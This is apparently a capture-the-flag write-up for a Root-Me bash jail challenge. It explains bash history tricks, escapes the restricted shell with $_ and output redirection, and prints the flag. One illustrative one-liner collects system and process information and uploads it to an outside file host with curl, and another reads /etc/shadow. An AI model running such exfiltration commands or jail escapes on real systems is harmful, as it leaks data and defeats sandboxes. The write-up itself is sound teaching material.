❤️ Bash - Love Me
👀 Before you start
You can donate to me via Buy Me a Coffee or follow me on Github
📖 Challenge Description
#!/bin/bash
PATH=$(/usr/bin/getconf PATH || /bin/kill $$)
function check_input() {
if [[ $1 == *[bdksiSctr'?''*''/''<''>''&''(''{''0''1''2''3''4''5''6''7''8''9']* ]]
then
return 0
fi
return 1
}
while :
do
input=""
echo -n "Enter the input: "
read input
if check_input "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output=`/bin/bash -c "$input" &>/dev/null`
echo "Command executed"
fi
done
🚩 Getting the flag
In this new Bash
jail, we have very few characters allowed.
Luckily for us, our input
is passed to bash -c "$input"
, which means we can perform an injection using Bash environment variables.
↩️ Back to the past
Our beloved Bash
remembers all the commands we enter, and we can go back in history to reuse them.
For example, we can do something like this:
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ sudo !!
root:*:19478:0:99999:7:::
This is super useful when reusing commands we forgot to prefix with sudo
, for example.
Staying within the realm of little tricks using !
, here’s my favorite one:
$ echo "Welcome, my name is MisTraleuh" > /tmp/local
$ cat !$
Welcome, my name is MisTraleuh
But if we had run a long command like this:
$ echo $(ls -la /etc/ && ps aux) | grep "root" | base64 > /tmp/localfile && curl -F file=@!$ https://temp.sh/upload
http://temp.sh/[...]/localfile
Oops… I messed up... I wanted to do it with base32
, not base64
. No worries:
$ echo $(ls -la /etc/ && ps aux) | grep "root" | base64 > /tmp/localfile && curl -F file=@!$ https://temp.sh/upload
http://temp.sh/[...]/localfile
$ ^base64^base32
http://temp.sh/[...]/localfile
Explanations 💡
In fact, ^^
lets you replace part of the last command with something else
It’s really handy to avoid typing the whole thing again
In the example above, I replaced base64
with base32
in the last command.
You can also replace the first word of the last command using ^oldword^newword
.
However, editing everything on a single line can sometimes be a bit tricky. That’s why we also have the ability to re-edit the last command in a text editor.
$ ls
[...]
$ fc
GNU nano 6.2 /tmp/bash-fc.yPB1xD
ls
[ Read 1 line ]
^G Help ^O Write Out ^W Where Is ^K Cut ^T Execute ^C Location M-U Undo M-A Set Mark M-] To Bracket
^X Exit ^R Read File ^\ Replace ^U Paste ^J Justify ^/ Go To Line M-E Redo M-6 Copy ^Q Where Was
🪄 $?!
Among everything I’ve told you, there’s one small but very important detail: we can also use the $_
variable, which represents the last executed command. Since the last executed command is /bin/bash -c "$input"
, we can use it to trigger a new command.
Enter the input: $_
aaaaaa
aa
aaa
aaaaaa
We no longer see any error message. That means we’re no longer in the jail but in another process!
This makes sense, since inside the jail we have &>/dev/null
, which redirects all output to /dev/null
. So we don’t see the errors or command outputs.
We can now use another trick that lets us see command outputs.
🙈 How to see command output ?
In Bash, there are 3 main streams:
- stdin : Standard input
- stdout : Standard output
- stderr : Error output
We can redirect these streams as follows:
$ ls -la /etc/ 2> /tmp/error
$ cat /tmp/error
ls: cannot access '/etc/': Permission denied
But we can also redirect the streams to standard input.
$ ls -la /etc/ 2>&1 > /tmp/error
$ cat /tmp/error
ls: cannot access '/etc/': Permission denied
In our case, since we have neither stdout
nor stderr
, we can redirect to stdin
.
ls >&0
entrypoint.sh flag.txt jail.sh
It also works with:
ls -la > /dev/stdin
entrypoint.sh flag.txt jail.sh
🏁 The flag
We now have access to flag.txt
. All that’s left is to read it.
cat flag.txt >&0
RM{W0W_Y0U_Kn0w_7h3_8a5h_5h3ll_4nd_7h3_5cr!p7!n9_l4n9u493_7h!5_!5_4m4z!n9_Y0U_W1LL_B3_A_GR43T_H4CK3R<3}
📜 Script
$ nc challenges.ctf20k.root-me.org 28595
Enter the input: $_
ls >&0
entrypoint.sh flag.txt jail.sh
cat flag.txt >&0
RM{W0W_Y0U_Kn0w_7h3_8a5h_5h3ll_4nd_7h3_5cr!p7!n9_l4n9u493_7h!5_!5_4m4z!n9_Y0U_W1LL_B3_A_GR43T_H4CK3R<3}
📚 Documentations
💖 Support
👀 Before you leave
You can donate to me via Buy Me a Coffee or follow me on Github